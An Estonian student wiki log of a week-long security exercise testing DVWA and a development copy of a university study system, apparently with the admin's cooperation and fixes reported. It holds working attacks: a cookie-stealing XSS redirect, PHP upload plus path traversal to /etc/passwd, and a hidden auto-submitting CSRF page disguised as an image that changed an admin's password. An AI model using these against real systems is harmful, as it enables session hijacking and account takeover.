1.2 Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.
1.3 Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.
2. Päev
2.1 Esitada tiimi tegevusplaan.
2.2 Tutvuda turvariskidega natuke põhjalikumalt.
2.3 Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.
2.4 Täiendada esimese päeva ettekannet.
3. Päev
3.1 Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.
3.2 Saadud tulemuste dokumenteerimine.
4. Päev
4.1 Saadud tulemuste esitlemine ettekandega
5. Päev
5.1 Tulemuste parandamine wiki’s.

=== Alo tegevus ===

http://www.acunetix.com/support/vulnerability-checks.htm
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting
http://www.youtube.com/watch?v=SG1cvGQ971g
http://www.isecom.org/research.html
http://evuln.com/tools/
http://sectools.org/tag/web-scanners/
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/
http://www.acunetix.com/vulnerability-scanner/getting-started.htm

Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:
Acunetix Web Vulnerability Scanner v. 8
http://www.acunetix.com/vulnerability-scanner/

Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.
Antud programm võimaldab skännida:
Cross-Site Scripting (XSS)
SQL Injection (blind test)
File inclusion
Code Execution
LDAP Injection
Cross Frame Scripting
SQL Injection (error msg. test)
CRLF Injection
Directory Travelsal
XPath Injection
URL Redirection
Application Error Message

Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.

=== Urmo tegevus ===

Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.

Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application'i.

==== Brute Force (DVWA) ====
Käsitsi välja uuritud login andmed:
kasutajanimi: admin
parool: password

===== Fireforce plugin Firefoxis =====
Tekitatud sai ka password list faili pass.txt.

Kasutusel oli Firefox brauser, kuhu installisime plugin'a Fireforce.
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .

Panime kasutajanimeks "admin" ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud.
Selleks sai sõna "incorrect".
Määrata ära tuli ka, et mitu päringut sekundis tehakse.
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada.
Päringute tegemise kiirus vähem kui 1 päring/sekundis.

Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.
Kasutasime ka videos näidatud "@ DICTIONARY" teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.

Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.

===== Burpsuite v1.4 =====
Burpsuite v1.4 on Samurai WTF'il olemas juba sees ja saab kohe käima panna.
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI'st]]

Programm on juba loomult keerulisem.
Burpsuite'iga tuleb panna käima proxy server localhost'is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine.
Läbi proxy serveri tuleb BurpSuite'ile kohale vastava veebilehe Header sisselogimise kohta.
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.
Payload'i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.
Ründe stiiliks määrata Pitchfork.
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -> Start Attack, mis siis alustas rünnet.
Kahjuks ka see rünne ei toiminud teadmata põhjusel.
Proovitud sai ka lühemate nimekirjadega ja edutult.

Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt.
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.

Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.

==== CSRF - Cross-site request forgery ====
Katsetamine toimub koos Taaviga.

Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.

Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.

Lõime uue faili - crosssite.txt

DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.
Võtsime lehe Source Code lahti
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.
Current Password lahtri jätsime samaks.
Ülejäänud kahe uue passwordi fieldi type'iks määrasime "Hidden" ja value'deks "admin".
Salvestasime faili ja käivitasime selle.
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna ".

Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.

=== Taavi tegevus ===

Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.

=== Matise tegevus ===
==== Reflected Cross Site Scripting (XSS) ====
<ul>
<li>Lehel on selline Form:</li>
[[Image:Xsstesting.jpg|Location="left"|Caption|]]
<br>Form väljastab : Hello „sisestatud nimi“
<li>Easy puhul:</li>
<li>Saab sisestada textboxi skripti:</li>
<script>
alert(document.cookie.match(/PHPSESSID=[^;\]+/));
</script>
<li>Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.</li>
<li>Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: </li>
<script>
this.document.location.href = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);
</script>
<li>Saab kohe enda veebiserveri logidest näha Session ID’d.
<br>Näide logist:</li>
/var/log/apache2/access.log
127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] "GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1" 404 404 "-" <br> "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11"
<li>Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.</li>
</ul>

=== Sanderi tegevus ===
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]

SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).
==== Faili üleslaadimine: madal tase ====
<ul>
<li><b>DVWA Security</b> määrata: Low -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess</li>
Üleslaetavasse *.php faili saab kirjutada php koodi:
<?php var_dump($_REQUEST, $_SERVER); ?>
<li>Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:</li>
esimeses massiivis "PHPSESSID" ("2b1ae19446cfde009664f18df51b6ec1") ja turvatase "security" ("low");
teises "HTTP_COOKIE", milles on eelnevadki andmed; asukoht "PATH", "SERVER_SOFTWARE", "SERVER_NAME",
"SERVER_ADDR" ("127.42.84.1"), "SERVER_PORT" ("80"), "REMOTE_ADDR" ("127.42.84.1"), "REMOTE_PORT" ("53425") jpm.
</ul>

==== Faili üleslaadimine: keskmine tase ====
<ul>
<li><b>DVWA Security</b> määrata: Medium -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida ei saa näiteks järgnevates formaatides faile:</li>
.htaccess
.php .html .pdf
.gif .png .bmp
.svg .swf
.tif .tiff .exif
.raw .cgm
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
<li>Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:</li>
http://dvwa/hackable/uploads/*.jpg
<li>Skripti käivitamiseks tuleb kasutada "?page=" ja faili asukoht:</li>
http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg
Kuvatakse php skripti tulemus.
Kommentaar: "?page=" kasutamine võetud menüüvalikust: <b>File Inclusion</b>
<li>"?page=" abil saab vaadata kasutajate nimesid:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
<li>Paroole vaadata ei saa, selleks õigused puuduvad:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow
</ul>

==== Faili üleslaadimine: kõrge tase ====
<ul>
<li><b>DVWA Security</b> määrata: High -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.</li>
<li>Skripti käivitamiseks ei piisa ka "?page=" kasutamisest. Igal juhul on vastus selline:</li>
ERROR: File not found!
<li>Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:</li>
http://www.motobit.com/util/base64-decoder-encoder.asp
<li>Moodustades loodud faili asukohast kood ja kasutades</li>
data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:
http://dvwa/hackable/uploads/*.jpg
</ul>

== 3. päev ==

=== Alo tegevus ===
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.<br>
Faile saab alla laadida enda profiili all õppesooritustes.<br>
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.<br>
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.<br>
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.<br>
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.<br>
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.<br>

=== Urmo tegevus ===
====Subgraph Vega ====
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.
Programm on Java põhine graafilise liidesega ja töötab Linux'i, OS X ja Windowsi peal.

[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.

Alustasime uut skänni (Start New Scan).
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.

Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised.

Me lisasime ainult küpsise (cookie) sisu:
<pre>
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221
</pre>
ning Finish.

[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).

Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000.

Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script'ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body nõrkust.

Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID'sid ja parameetreid ära oma pealkirjades.
Õnneks parameetritega väljad olid veebilehel korralikult ära escape'itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.

ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.

==== Wapiti ====
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti.
(Koduleht: http://wapiti.sourceforge.net/)

Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS'iga midagi teha.

==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====
=====1. katse - ÕISi keskkkonna keelevahetus =====
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]

Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.

Võtsime dev-ÕIS'i Source Code'ist välja vastava formi osa ja panime eraldi html faili.
Koristasime mittevajaliku disaini koodi juurest ära.
Muutsime form'i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks "en" ehk inglise keelne keskkond tekiks.
Panime koodi enose veebiserverisse üles nimega ois.html.

Faili sisu:
<source lang="html4strict">
<form id="settingsForm" method="post" action="https://itcollege.dev.ois.ee/setting/edit?user_id=2198"
enctype="application/x-www-form-urlencoded">
<input type="hidden" AUTOCOMPLETE="off" name="default_language"value="en">
<br>
<input type="submit" value="Salvesta seaded" name="Savesettings">
</form>
</source>
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.

Katsetas koodi enda konto peal Taavi.

=====2. katse - ÕIS'i kasutaja parooli muutmine =====

[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.

Selle jaoks uurisime välja, kus asub dev-ÕIS'i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.

Muutsime password ja password_check lahtrite väärtused järgnevaks: "test123" ehk kasutaja uus parool peale rünnakut.

Lahtrites muutsime user_id'd sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.

Kõik vormi lahtrite tüübid määrasime peidetud ehk "hidden", et poleks midagi näidata.

Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist.
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.

Lisasime CSS koodi Submit nupu ära peitmiseks.
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.

Salvestasime faili ära kui "screen1.jpg" fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.

Faili sisu:
<source lang="html4strict">
<html>
<head>
<style type="text/css">
#Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }
</style>
</head>
<body>
<body onload="document.forms.setPasswordForm.submit();">
<form name="setPasswordForm" id="setPasswordForm"
action="https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&continue=/auth/logout"
method="post">
<input type="hidden" name="user_id" value="2227" id="user_id" />
<input type="hidden" name="continue" value="%2Fet%2Fsetting%3Fuser_id%3D2227" id="continue" />
<input type="hidden" name="password" id="password" value="test123" />
<input type="hidden" name="password_check" id="password_check" value="test123" />
<input type="submit" name="Setpassword" id="Setpassword" value="Muuda salasõna" />
</form>
</body>
</html>
</source>

[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]

Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.
<pre>
AddType application/x-httpd-php .php .jpg
</pre>

Laadisime mõlemad failid Enose veebiserverisse avalikult.

Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki.
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle.
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail.
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja.
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud "test123"-ks ja me saime ligipääsu administraatori õigustes kontole.
Rünnak oli edukas.
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]

Andsime teada Valterile teada, et tegelikult tegime salajase ründe.
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha.
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug'iga.

Kuna tegu oli ÕIS'i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.

=== Taavi tegevus ===
===Burp suite===

Esimese asjane peale Burp suite käivitamist. Tabilt proxy ->intercept ->intercept off<br>
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)<br>
Proxy -> options alt lülitada sisse proxy listner pordile 8080 .<br>
Ohvri valimine <br>
Valida intruder -> target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.<br>
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.<br>
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.<br>site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.<br>
Targer->scope -> exclude frome scope ja veenduda at välja on arvatud logout laused.<br>
Spideringi sisselülitamine <br>
Valida tab Spide ning sealt panna linnuke kasti spider running.<br>
Ning oledki valmis saama laheküljelt infot.<br>
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.<br>
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.

==Nessuse algkäivitamine==
Valida backtrackist vulnerability scannerite alt nessus ning edasi nessus register .<br> Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.<br> Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)<br>
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)<br>
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.<br>
Järgnevalt valida nessus start.<br>
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.<br>
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.

=== Matise tegevus ===
==Väike upload tegevus, mis võiks olla teisiti==
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.
Proovisime üles laadida:
<li>filmi
<li>exe
<li>jpm faile
<br>kõik läks läbi ja sai uploadida.
<br>Sellises kohas võiks olla süsteem tehtud <b>whitelisti</b> põhimõttel,
<br>et lubatud oleks ainult:
<li>.doc
<li>.docx
<li>.pdf

=== Sanderi tegevus ===
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]
Backtarcki keskkonnas sai testitud programmi w3af.

==== Backtrack: w3af ====
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]
Võimalik kätte saada SSL Certificate.
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:
https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?
username=<font color="red">KASUTAJANIMI</font>&continue=&Login=Logi sisse&pw=<font color="red">PAROOL</font>
Programmi sisestatud andmetega ka mitte:
Configuration -> HTTP Config -> Basic HTTP Authentication:
basicAuthUser: <font color="red">KASUTAJANIMI</font>
basicAuthPass: <font color="red">PAROOL</font>
basicAuthDomain: http://itcollege.dev.ois.ee
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:
Configuration -> HTTP Config -> Cookies
cookieJarFile: /root/Desktop/<font color="red">ois_cookie.txt</font>
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:
# Netscape HTTP Cookie File
.dev.ois.ee TRUE / FALSE 1731510001 itcollege_OIS_SESSION_ID <font color="red">870aqllryuw3cmf6cv8ellha03</font>
Esimene rida on nõutav! Teiste tähendused:
domain - The domain that created and that can read the variable.
flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.
This value is set automatically by the browser, depending on the value you set for domain.
path - The path within the domain that the variable is valid for.
secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.
expiration - The UNIX time that the variable will expire on.
name - The name of the variable.
value - The value of the variable.
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:
Edit -> Preferences -> Privacy -> History -> remove individual cookies
Search: itcollege.dev.ois.ee
Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID

Skänneerimine:
<ul>
<li>The page language is: en</li>
<li>The URL: "https://itcollege.dev.ois.ee/" has a "<form>" element with auto-complete enabled.</li>
<li>A comment with the string "<p>tunne end kui koolis</p>" was found in: "https://itcollege.dev.ois.ee/".</li>
<li>Found a form login. The action of the form is: "https://itcollege.dev.ois.ee/auth/login".</li>
The username field to be used is: "username".
The password field to be used is: "pw".
<li><font color="red">Found authentication credentials to: "https://itcollege.dev.ois.ee/auth/login". A correct user and password combination is: Administrador/6666666</font></li>
Antud kasutaja ja parooliga sisse ei saanud.
<li>The URL: "https://itcollege.dev.ois.ee/" returned a response that may contain a "SHA1" hash. The hash is: "c7b39896de5f296b5a44c2dfcd9f0600b2cf424d". This is uncommon and requires human verification.</li>
Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.
<li>The URL: "https://itcollege.dev.ois.ee/" sent these cookies:</li>
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/
<li>The SMTP settings in emailReport plugin seem to be incorrect. Original error: "[Errno 111] Connection refused".</li>
Kui tuleb see veateade, siis skänn katkeb.
<li><font color="red">The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):</font></li>
The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
<li><font color="red">SQL injection in a Unknown database was found at: "https://itcollege.dev.ois.ee/auth/login", using HTTP method POST.</font></li>
The sent post-data was: "username=John8212&security_key_sis_global=d'z"0&Login=Logi%20sisse&continue=56&pw=FrAmE30.".
The modified parameter was "security_key_sis_global". This vulnerability was found in the request with id 390.
<li>Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt</li>
User-agent: *
Disallow: /
Allow: /curriculum
Allow: /subject
Allow: /diploma
Allow: /schedule/ical
</ul>

== 4. päev - Presentatsiooni tegemine ja esitlemine ==

Koostasime presentatsiooni ja esitlemine.

[[Media:Security_team_presentation.ppt]]

== Arvamused intensiivõppe nädala kohta ==

Sander: Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.

== Tegijad ==
Alo Konno A21

Urmo Lihten A21

Taavi Podžuks A22

Matis Alliksoo A22

Sander Saarm A22

== Juhendajad ==
Mart Mangus

Margus Ernits

Valter Kungla

Security team

2012-03-30T13:43:51Z

Mallikso: /* 1. päev - Materjalidega tutvumine */

== 1. päev - Materjalidega tutvumine ==

<h1>POOLELI!</h1>

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

A1: Injection - Urmo
A2: Cross-Site Scripting (XSS) - Alo
A3: Broken Authentication and Session Management - Sander
A4: Insecure Direct Object References - Alo
A5: Cross-Site Request Forgery (CSRF) - Taavi
A6: Security Misconfiguration - Matis
A7: Insecure Cryptographic Storage - Matis
A8: Failure to Restrict URL Access - Urmo
A9: Insufficient Transport Layer Protection - Taavi
A10: Unvalidated Redirects and Forwards - Sander

Sanderi konspekt: [[Media:Ois_materjal.pdf]] <br>
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] <br>
Taavi esitlus [[Meida: A9.pdf]] <br>
Taavi esitlus [[Meida: A5.pdf]] <br>
Matise esitlus [[Meida: "Insecure Cryptographic Storage.pdf"]] <br>
Matise esitlus [[Meida: "Security Misconfiguration.pdf"]] <br>
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] <br>

== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==
===Security Team tegevusplaan===
1. Päev
1.1 Tutvuda OWASP’iga.
1.2 Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.
1.3 Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.
2. Päev
2.1 Esitada tiimi tegevusplaan.
2.2 Tutvuda turvariskidega natuke põhjalikumalt.
2.3 Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.
2.4 Täiendada esimese päeva ettekannet.
3. Päev
3.1 Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.
3.2 Saadud tulemuste dokumenteerimine.
4. Päev
4.1 Saadud tulemuste esitlemine ettekandega
5. Päev
5.1 Tulemuste parandamine wiki’s.

=== Alo tegevus ===

http://www.acunetix.com/support/vulnerability-checks.htm
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting
http://www.youtube.com/watch?v=SG1cvGQ971g
http://www.isecom.org/research.html
http://evuln.com/tools/
http://sectools.org/tag/web-scanners/
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/
http://www.acunetix.com/vulnerability-scanner/getting-started.htm

